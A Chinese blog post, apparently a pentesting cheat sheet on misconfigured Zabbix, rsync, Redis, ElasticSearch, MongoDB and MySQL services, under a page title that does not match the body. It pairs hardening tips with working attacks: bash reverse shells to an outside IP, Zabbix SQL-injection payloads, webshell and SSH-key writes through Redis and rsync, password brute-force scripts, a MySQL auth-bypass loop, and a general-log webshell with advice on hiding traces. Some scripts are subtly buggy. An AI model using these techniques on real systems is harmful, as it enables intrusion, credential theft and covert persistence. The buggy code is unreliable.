如何在智能告警平台CA触发测试告警
1453
2022-10-15
常见的运维漏洞
这篇 将会持续更新并完善 常见的web应用漏洞
主要涉及到Linux常用服务的一些安全配置加固,以及一些常见的安全漏洞等。。
zabbix 漏洞
当你忘记密码也可以通过这个漏洞也能修改到密码
zabbix 配置不当安全事件
Zabbix弱口令利用1. zabbix默认的口令为Admin:zabbix,以及存在guest密码为空0
2. Zabbix server可以远程在agent的机器上执行任意命令
建立监控项zabbix_get命令调用
system.run[command,
# 这个模块是agent自带的,获取服务器shell,获取root权限。
监控项:
反弹提权
bash -i >& /dev/tcp/45.xx.xxx.x1/6666 0>&1nc -lvp 6666
zabbix_get命令调用:
zabbix_get -s 172.18.0.4 -k 'system.run[cat /etc/passwd]'
Zabbix注入
latest.php SQL注入漏洞(CVE-2016-10134)
Payload: latest.php?output=ajax&sid=055e1ffa36164a58&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0
用来宾账号的session的后6位 替换链接的sid ,即可通过user() 调用出当前的启动用户
这串可以直接访问,不需要其他的东西
jsrpc.php? type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)
默认口令注入漏洞
BurpSuite爆破口令
修复建议
1. 不要放外网2. 修改默认密码3. 禁用guest 用户4. 不要以root启动5. 401认证6. 备份数据 -> 升级版本7. 做测试找漏洞
Rsync介绍
Rsync(remote synchronize)是一款实现远程同步功能的软件,它在同步文件的同时,可以保持原来文件的权限、时间、软硬链接等附加信息。rsync 默认同步时是不加密的,可使用 ssh隧道 的方式来进行加密同步
rsync -avzP -e 'ssh -p 22 /tmp/ test@ip:/web/'rsync + crontab #自动备份管理rsync + sersync # 实时备份#默认端口为 873
错误的配置参数
uid = root # 不能改权限太高gid = rootread only = false #关闭了只读auth users = test # 未授权登录secrets file = /etc/rsync.password
漏洞扫描与发现
扫描工具 nmap
nmap -n --open -p 873 192.168.1.0/24
扫描到的IP然后进行访问
rsync 192.168.1.10::bak
当前目录下写个php 或则webshell 进行同步
rsync test.php 192.168.1.10::bak/123.php
Python编写批量扫描
需求'''1. 扫描开发的873端口2. 获取rsync目录3. 密码尝试'''
#!/usr/bin/python#-*- coding:utf8 -*-#BY: H.c'''1. 扫描开发的873端口2. 获取rsync目录3. 密码尝试'''import osimport datetimeimport threadingfrom socket import *# 获取当前时间 例如:19-5-9create_file_name = datetime.datetime.now().strftime('%Y-%m-%d')# 保存文件def save_file(result): new_file = '{}_open.txt'.format(create_file_name) with open(new_file,'a+') as fd: fd.writelines(result + '\n')# 这是一个 生成器def socket_request(tarip, tarport): try: # 异常处理 ,执行正常则 会 yield 出结果 ,如果报错,则输出Close setdefaulttimeout(3) # 设置链接超时时间 3S s = socket(AF_INET, SOCK_STREAM) # 调用socket address = (str(tarip), int(tarport)) # 将IP 和端口 封装成元组 s.connect(address) # 请求链接 类似于 shh IP port s.close() # 关闭连接 info = '{}:{} Open'.format(tarip,tarport) # 拼接 ip:port 192.168.1.10:873 print ('\033[6;30;42m]' + info + '\033[0m') # 显示颜色 save_file(tarip) # 将这个IP 写入文件保存 yield info # yield 如果没有 send 和 next 方法 则会将外部每次的循环结果 return出去 except: print ('\033[0;31m' + '{}:{} {}'.format(tarip, tarport, 'Close') + '\033[0m')# ip 端口扫描def port_open_scan(): with open('ip.txt', 'r') as read_ip: #读取文件 for i in read_ip.readlines(): for x in socket_request(str(i).strip(), 873): print (x) pass# 确认开启了rsync服务的IPdef rsync_pass_check(ip): ip = ip.strip() command = "rsync "+ ip + "::" print("Checking {}".format(ip)) dirlist = [] for line in os.popen(command): # os.popen 和 os.system() 一个直接输出,一个变成可read()对象 subprocess.Popen() x = line.find("\t") y = line[0:x] dirlist.append(y) for dir in dirlist: userlist = ['www','root','test','admin','rsync'] for user in userlist: crack_command = "rsync "+ user + "@" + ip + "::" +dir + "--password-file=pass.txt" try: output = os.system(crack_command) if os.popen(crack_command).read(): res_str = "[+] Vul Found: " + crack_command with open("Vuln_IP.txt","a+") as f: f.write(res_str+"\n") else: pass except Exception as e: print (e)def main(): port_open_scan() open_port = '{}_open.txt'.format(create_file_name) with open(open_port, 'r') as f: iplist = f.readlines() for ip in iplist: rsync_pass_check(ip)if __name__ == '__main__': t = threading.Thread(target=main) # 多线程执行 t.start()
修复
1. 限定访问的IP2. 不允许匿名访问3. 防止弱口令4. 禁用root权限
Redis配置不当
redis是一个开源、支持网络、基于内存、键值对存储数据库,使用ANSI C编写。
自从Redis未授权问题获取Linux系统root权限的攻击方法的披露后,由于其易用性,利用该问题入侵Linux服务进行挖矿
全网扫描 redis 未授权访问获取root 权限,通过这个漏洞进行Linux的挖矿等等
Redis安全事件
未授权访问获取Shell
1. 获取WebShell条件:网站路径 用过phpinfo登录到对方的redis机器上使用命令如下:
config set dir /var/www/html/config set dbfilename shell.phpset x ""save
2. 写入crontab任务反弹提权 bash -i使用命令如下:
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.100/54321 0>&1\n"config set dir /var/spool/cron/config set dbfilename rootSave
监听端口:
nc –lvnp 54321
3. 写入ssh公钥
ssh-keygen -t rsa # 创建秘钥(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txtcat foo.txt | redis-cli -h 192.168.1.10 -x set crack # 链接redis 并将秘钥上传config set dir /root/.ssh/ # 切到ssh目录去config get dir config set dbfilename "authorized_keys" # 保存到 authorized_keys 文件里save ssh -i id_rsa root@192.168.1.10 # 保存并登陆
使用Python 进行暴力破解
#!/usr/bin/python#-*- coding:utf8 -*-#BY: H.cfrom socket import *# 设置端口+IPip = '192.168.1.11'prot = 6379timeout = 2setdefaulttimeout(timeout) # 设置默认超时时间s = socket(AF_INET,SOCK_STREAM) # 引入socket s.connect((ip,int(port))) # 建立连接s.send(b"INFO\r\n") # 传送命令result = s.recv(1024) # 设置传送的字节大小if b"redis_version" in result: # 判断 是否有设置密码 print ("未授权访问")elif b"Authentication" in result: # 开始进行暴力破解 with open('./pass.txt','r') as read_pass: # 导入密码字典 for password in read_pass: # 尝试循环验证 password = password.strip() s = socket(AF_INET,SOCK_STREAM) s.send("AUTH {}\r\n".format(password).encode('utf-8')) result = s.recv(1024) if b'+OK' in result: # 返回有OK 字符 则为验证通过 print("密码: {}".format(password)) # 显示密码
修复
1. 设置密码
vim /etc/redis.confrequire pass !@#$321@!# #加上你的复杂密码
2. 不要把Redis暴露在公网监听本地端口,不要暴露再公网
3. 普通权限启动使用普通权限启动命令如下:
user add -r redischown -R redis:redis /usr/local/reidssu - redisredis-server /etc/redis.conf # 以普通用户启动redis-server
4. 对.ssh降权和锁定命令如下:
su - redischmod 400 .shh/authorized_keyschatter +i .shh/authorized_keyschatter +i .ssh/
ElasticSearch漏洞
漏洞代码:
CVE-2014-3120 命令执行CVE-2015-3337 目录穿越
安全加固
CVE-2014-3120 命令执行
启动:
docker-compose builddocker-compose up -d
CVE-2015-3337 目录穿越在安装了具有“site”功能的插件以后,插件目录使用../即可向上跳转,导致目录穿越漏洞,可读取任意文件。没有安装任意插件的elasticsearch不受影响
安全加固1. 不要暴露在公网上, 监听本地 127.0.0.12. 不要以root身份运行, 可以创建普通用户来启动服务, 若不幸被攻破,是普通用户权限,也拿不到有价值的数据3. 9200端口加上一层 Http Basic-Auth 基本身份认证
修复1. 限定访问的IP
可以在web应用的配置文件中 Deny, 或者可以再主机防火墙上设置 iptables 规则
2. 不允许匿名访问
锁定单个用户的访问权限
3. 防止弱口令
可以使用 makepasswd 生成复杂密码。4. 禁用root权限
Mongodb未授权访问
最要是 安装完后 没对其做安全加固,Mongodb 端口 27017 开放在公网,
案例:
案例:
在刚安装完毕的时候MongoDB都默认有一个admin数据库,此时admin数据库是空的,没有记录权限相关的信息!
安全加固
1. 确保对MongoDB数据库启用了身份验证2. 不要开放到公网0.0.0.0 监听 127.0.0.13. 建立完整的数据库备份机制,以免被删库后无法及时恢复
MySQL漏洞
MySQL身份认证漏洞,通过一个错误的密码,来绕过它进入数据库MySQL信息探测MySQL注入利用MySQL安全加固
最有意思的漏洞memcmp()函数的溢出导致,输入的密码会与期望的正确密码比较由于不正确的处理,也会使MySQL认为两个密码是相同的。
也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库,概率为1/256
受影响版本MariaDB versions from
5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.MySQL versions from
5.1.63, 5.5.24, 5.6.6 are not.
CVE-2012-2122漏洞环境
使用docker 重现场景docker-compose.yml
version: '2'services: mysql: image: vulhub/mysql:5.5.23 ports: - "3306:3306”
启动环境:docker-compose up -d
使用命令行Bash:
for i in `seq 1 280`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
一款强大的渗透工具Metasploit:use auxiliary/scanner/mysql/mysql_authbypass_hashdump
使用Python脚本来执行Python:
#!/usr/bin/python import subprocess while 1: subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait()
MySQL信息探测
Nmap 业界最强大的工具
auxiliary/scanner/mysql/mysql_version
Hydra爆破MySQL密码 ,需要加载字典
hydra -l root -P password.txt mysql://192.168.1.15 -vV
最后会跑出来个密码,是破解出的可以使用的
MySQL注入利用读文件读数据库密码在一定条件下可以into outfile、into dumpfileSQLMAP工具辅助注入
MySQL安全加固
1. 检查是否避免运维账号共享
2. 检查是否使用默认端口 3306
3. 检查是否设置禁止MySQL对本地文件存取
读取 :
select load_file('/etc/passwd');
安全加固:
revoke file on *.* from 'user3'@'127.0.0.1’;
4. 检查test库是否已被删除。
SHOW DATABASES LIKE 'test';DROP DATABASE "test";
5. 检查默认管理员账号是否已更名
update user set user="newUserName" where user="root";
6. 设置MySQL守护进程专用最小特权帐户
ps -ef|egrep "^mysql.*$"
7. 禁用MySQL命令历史记录将MYSQL_HISTFILE环境变量设置为/dev/null,
vim .bash_profileexport MYSQL_HISTFILE=/dev/null
ln -s /dev/null $HOME/.mysql_history
8. 备份策略 不要备份再本地服务器,否则被人攻破后直接下载你的sql,
9. 确保仅管理员具有完全数据库访问权限网站配置不允许使用root权限错误:
grant all on *.* to user1 identified by ‘123456’;
指定数据库:
grant all on db1.* to ‘user2’@‘ip’ identified by ‘123456’;`
弱口令问题通过日志获取webshell
危害:获得数据库获得WebShell
select '' into outfile '/data/www/a.php';select '' into dumpfile '/data/www/a.php';#ERROR 1 (HY000): Can't create/write to file '/data/a.php' (Errcode: 13 - Permission denied)
自己操作如下。发现不能写入
通过general log获取webshell
mysql> show variables like '%general%'; mysql> set global general_log = on;mysql> set global general_log_file ='网站路径'; mysql> select '';mysql> set global general_log_file ='还原'; #还原避免被发现 mysql> set global general_log = off;
我自己的是 myslq 5.6 版本 所以该漏洞问题早已被修复了 嘻嘻。。
发表评论
暂时没有评论,来抢沙发吧~